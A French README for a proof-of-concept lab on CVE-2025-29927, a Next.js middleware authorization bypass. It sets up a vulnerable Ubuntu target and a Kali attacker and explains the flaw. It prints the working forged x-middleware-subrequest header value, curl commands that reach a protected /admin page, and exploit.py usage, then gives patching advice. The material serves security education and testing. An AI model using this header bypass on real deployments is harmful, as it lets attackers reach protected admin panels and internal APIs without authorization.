
Preuve de concept d'exploitation pour CVE-2025-29927, un contournement d'autorisation du middleware Next.js. Inclut un laboratoire cible vulnérable et un script Python pour vérifier le contournement en envoyant des en-têtes x-middleware-subrequest spécialement conçus.
Un petit projet GitHub pour valider CVE-2025-29927 (contournement de l'autorisation du middleware Next.js) dans un environnement de laboratoire local (VMware : machine cible Ubuntu + machine d'attaque Kali).
⚠️ Avertissement : Ce projet est uniquement destiné à l'éducation en sécurité, aux CTF et aux environnements de laboratoire que vous possédez ou pour lesquels vous disposez d'une autorisation explicite. Toute utilisation sur des systèmes non autorisés est strictement interdite. Les conséquences d'une mauvaise utilisation de ce projet relèvent de la seule responsabilité de l'utilisateur.
| Élément | Contenu |
|---|---|
| CVE | CVE-2025-29927 |
| Date de divulgation | 2025-03-25 (bulletin de sécurité officiel Next.js) |
| Composant affecté | Vercel Next.js (framework full-stack Node.js) |
| Type de vulnérabilité | Contournement d'autorisation / Autorisation inappropriée (CWE-863) |
| Versions affectées | < 12.3.5, < 13.5.9, < 14.2.25, < 15.2.3 |
| Versions corrigées | 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 et supérieures |
| Niveau de gravité | Critique / Élevé (le score exact dépend de la page NVD) |
Après la divulgation de cette vulnérabilité, de nombreux panneaux d'administration, callbacks de paiement et API internes en production ont été contournés. Metasploit et ProjectDiscovery Nuclei ont tous deux intégré des modules de détection. Il s'agit de l'une des vulnérabilités de « contournement d'autorisation au niveau framework » les plus représentatives de 2025.
Next.js permet d'écrire la « logique d'authentification » dans un middleware, par exemple :
export function middleware(request) {
if (!isLogin(request)) return NextResponse.redirect("/login"); // Non connecté → bloquer
return NextResponse.next();
}
Le problème est que Next.js s'appuie en interne sur un en-tête de requête que le client peut falsifier pour déterminer si « cette requête a déjà exécuté le middleware » :
x-middleware-subrequest: middleware
Dans les versions affectées, si une requête externe transporte cet en-tête interne, Next.js croit à tort que le middleware a déjà été exécuté, et l'intégralité du middleware d'authentification est donc ignorée. L'attaquant n'a besoin d'aucun compte : il lui suffit d'envoyer cet en-tête pour accéder directement (code 200) à des routes protégées comme /admin — or la page elle-même fait généralement confiance au middleware et n'effectue pas de seconde vérification. Le contrôle d'autorisation est ainsi neutralisé (erreur de frontière de confiance).
💡 La valeur la plus couramment utilisée dans les exploits publics consiste à répéter le chemin du middleware, par exemple
middleware:middleware:middleware:middleware:middleware; une valeur uniquemiddlewarene fonctionne pas dans certaines versions/structures de répertoires (c'est le cas constaté avec la version 14.2.24 de ce laboratoire). Ce PoC teste plusieurs valeurs candidates en boucle ; si l'une d'elles aboutit, le contournement est réussi.
CVE-2025-29927-PoC/
├── README.md # Ce document (explication de la vulnérabilité + tutoriel laboratoire VMware)
├── LICENSE # MIT
├── .gitignore
├── exploit.py # ★ PoC de validation en Python3, bibliothèque standard uniquement (exécutable sur Kali/toute machine)
├── target/ # ★ Laboratoire de vulnérabilité intégré (à copier sur la machine cible Ubuntu)
│ ├── package.json # Verrouille [email protected] (version affectée)
│ ├── middleware.js # Simule un « middleware d'authentification » de production réelle
│ ├── pages/
│ │ ├── index.js # Page d'accueil
│ │ ├── login.js # Page de connexion (démonstration de la redirection ici)
│ │ └── admin.js # ★ Panneau d'administration protégé, lit flag.txt côté serveur
│ ├── flag.txt # Drapeau du laboratoire : FLAG{...}
│ ├── setup.sh # Installation en une commande sur la cible : Node 20 + npm install + build
│ └── start.sh # Écoute sur 0.0.0.0:3000 en mode production
└── tests/
└── mock_target.py # Cible simulée sans Node (uniquement pour l'auto-test de développement)
┌───────────────────────────────────────────────────────────┐
│ VMware Workstation Pro 17 (hôte : Windows) │
│ Réseau : NAT (VMnet8 par défaut), les deux VM sur le même │
│ sous-réseau, ping mutuel possible │
│ │
│ ┌──────────────────┐ ┌─────────────────────┐ │
│ │ Cible Ubuntu 24.04│ │ Attaque Kali Linux │ │
│ │ │ http │ │ │
│ │ Node 20 + Next │◄───────│ python3 exploit.py │ │
│ │ 14.2.24 :3000 │ GET │ │ │
│ └──────────────────┘ └─────────────────────┘ │
│ IP : <TARGET_IP> IP : <ATTACKER_IP> │
└───────────────────────────────────────────────────────────┘
| Usage | Image/Logiciel | Version recommandée |
|---|---|---|
| Logiciel de virtualisation | VMware Workstation Pro 17 (gratuit pour un usage personnel) | 17.x |
| Image de la machine cible | ISO Ubuntu Server LTS | 24.04.x |
| Machine d'attaque | Kali Linux (image VMware officielle préinstallée ou installation ISO) | 2025.x |
| (Optionnel) | 8 Go de RAM ou plus sur l'hôte, 50 Go d'espace disque ou plus | — |
Toutes les étapes suivantes s'exécutent sur la machine cible Ubuntu.
# Méthode A : pousser le projet sur votre GitHub puis le cloner (recommandé ; utilisez ceci si vous comptez le publier sur GitHub)
git clone https://github.com/<votre_nom_utilisateur>/CVE-2025-29927-PoC.git
cd CVE-2025-29927-PoC
# Méthode B : transfert scp depuis l'hôte
# scp -r CVE-2025-29927-PoC ubuntu@<TARGET_IP>:~/
cd CVE-2025-29927-PoC/target
sudo bash setup.sh # Installe Node 20(LTS) + npm install + next build
Ce que fait setup.sh en interne : mise à jour d'apt → installation des outils curl/CA/build → installation de Node.js 20 LTS via NodeSource → npm install (récupération des dépendances comme [email protected]) → npm run build.
bash start.sh
# Le succès est confirmé par l'affichage de "▲ Next.js 14.2.24" et "Local: http://0.0.0.0:3000"
Ouvrez un autre terminal pour un premier test de fumée local :
curl -s http://127.0.0.1:3000 # Page d'accueil, 200
curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:3000/admin
# Résultat attendu : 307 — sans cookie, le middleware bloque (l'authentification fonctionne normalement)
curl -s http://127.0.0.1:3000/admin # Le corps doit correspondre au contenu de la page de connexion après redirection
Le pare-feu de la machine cible ne bloque pas le trafic entrant par défaut ; si vous avez activé ufw :
sudo ufw allow 3000/tcp.
sudo apt update
python3 --version # Kali est fourni avec Python3, aucune dépendance supplémentaire n'est requise (PoC en bibliothèque standard pure)
ip -4 addr show # Notez l'IP de Kali (ex. 192.168.x.xxx)
Transférez exploit.py sur Kali (clonez le même dépôt, ou transférez le fichier unique via scp), puis confirmez d'abord que les deux VM communiquent :
ping <TARGET_IP> # Doit répondre ↓
curl -s -o /dev/null -w "%{http_code}\n" http://<TARGET_IP>:3000 # Doit afficher 200
Exécutez sur la machine d'attaque Kali :
python3 exploit.py -u http://<TARGET_IP>:3000
[1/3] Sondage de référence GET /admin (sans aucun en-tête spécial)
└─ Code de statut 307 —— bloqué normalement par le middleware ✓ (environnement vulnérable prêt)
[2/3] Tentative de contournement x-middleware-subrequest: <rotation des valeurs candidates>
└─ Valeur d'en-tête='middleware:middleware:middleware:middleware:middleware' code de statut 200 —— contournement réussi ! Middleware ignoré ✓
[3/3] Extraction du résultat
└─ La page d'administration a lu flag.txt côté serveur :
FLAG{cve-2025-29927-lab-ok}
[+] Conclusion : VULNERABLE —— le contournement d'autorisation CVE-2025-29927 est validé
Lecture clé : pour la même URL, sans en-tête spécial on obtient un blocage 307, avec x-middleware-subrequest on accède directement au panneau d'administration en 200 — une boucle de validation complète du « contournement du middleware d'authentification ».
# ① Référence : doit renvoyer 307 (redirection vers /login)
curl -i http://<TARGET_IP>:3000/admin | head -n 10
# ② Exploitation : doit renvoyer 200 et contenir FLAG{...}
curl -i -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
http://<TARGET_IP>:3000/admin | head -n 30
📌 Remarque pratique : dans ce laboratoire (Next 14.2.24 +
middleware.jsà la racine), la valeur quintuplemiddleware:middleware:middleware:middleware:middlewarefonctionne, alors que la valeur uniquemiddlewarene fonctionne pas. Pour un test manuel avec curl, utilisez directement la valeur quintuple ci-dessus ; en cas de doute, exécutezexploit.py(rotation automatique des valeurs candidates).
usage: exploit.py [-h] -u URL [--path PATH] [--timeout SECONDS]
[--delay SECONDS] [--insecure] [--verbose]
-u, --url URL Adresse cible, ex. http://192.168.162.10:3000
--path PATH Chemin protégé, par défaut /admin
--timeout SECONDS Délai d'expiration par requête, par défaut 10
--delay SECONDS Intervalle entre les valeurs candidates de l'en-tête, par défaut 0
--insecure Ignorer la validation du certificat HTTPS
--verbose Afficher le code de statut de chaque en-tête candidat, pour faciliter le débogage
Code de sortie : 0 = vulnérabilité confirmée ; 1 = cible non affectée/échec de toutes les requêtes ; 2 = erreur de paramètre ou d'environnement
Si vous n'avez pas VMware ou ne voulez pas installer Node tout de suite, vous pouvez utiliser la cible simulée fournie dans le dépôt pour tester d'abord la logique du PoC (Python3 sur l'hôte suffit ; elle simule le comportement « blocage 307 / accès 200 avec en-tête spécial ») :
# Terminal 1 : démarrer la cible simulée (écoute sur 127.0.0.1:8123)
python3 tests/mock_target.py
# Terminal 2 : validation
python3 exploit.py -u http://127.0.0.1:8123
# Sortie attendue : VULNERABLE et FLAG{mock-bypass-ok}
Remarque : le simulateur sert uniquement à tester la logique du script ; la validation officielle doit impérativement être effectuée sur le véritable laboratoire des sections 5 et 6.
npm i [email protected] (ou 15.2.3+ / version plus récente correspondante), puis reconstruisez et redéployez ;getServerSideProps / Route Handler / API backend ;x-middleware-subrequest entrant.# Modèle officiel Nuclei
nuclei -u http://<TARGET_IP>:3000 -t http/cves/2025/CVE-2025-29927.yaml
Après la mise à niveau, relancez ce PoC : il doit afficher « cible non affectée » — c'est la méthode de validation avant/après correction.
| Phénomène | Cause / Solution |
|---|---|
next start indique que le port est occupé | lsof -i :3000 pour identifier le processus occupant le port, ou utilisez -p 3001 |
curl http://<TARGET_IP>:3000 ne répond pas | Les deux VM ne sont pas sur le même sous-réseau NAT ; vérifiez que les adaptateurs réseau VMware sont tous deux en NAT, confirmez le sous-réseau avec ip a |
L'accès à /admin renvoie déjà 200 en référence | Le middleware n'est pas actif : vérifiez que middleware.js se trouve à la racine de target/ et que setup.sh a bien construit le projet |
| Après tentative de contournement, toujours 307 | La valeur efficace varie selon la version/structure de répertoires : exécutez d'abord python3 exploit.py --verbose pour voir la rotation ; pour un test manuel avec curl, utilisez la valeur quintuple middleware:middleware:middleware:middleware:middleware |
| Kali ne peut pas ping Ubuntu | Sous VMware NAT, la communication est normalement assurée ; si elle échoue toujours, vérifiez les pare-feu des deux machines et restaurez l'instantané |
| Je veux tester avec une autre version de Next | Modifiez la version de next dans target/package.json, puis relancez npm install && npm run build |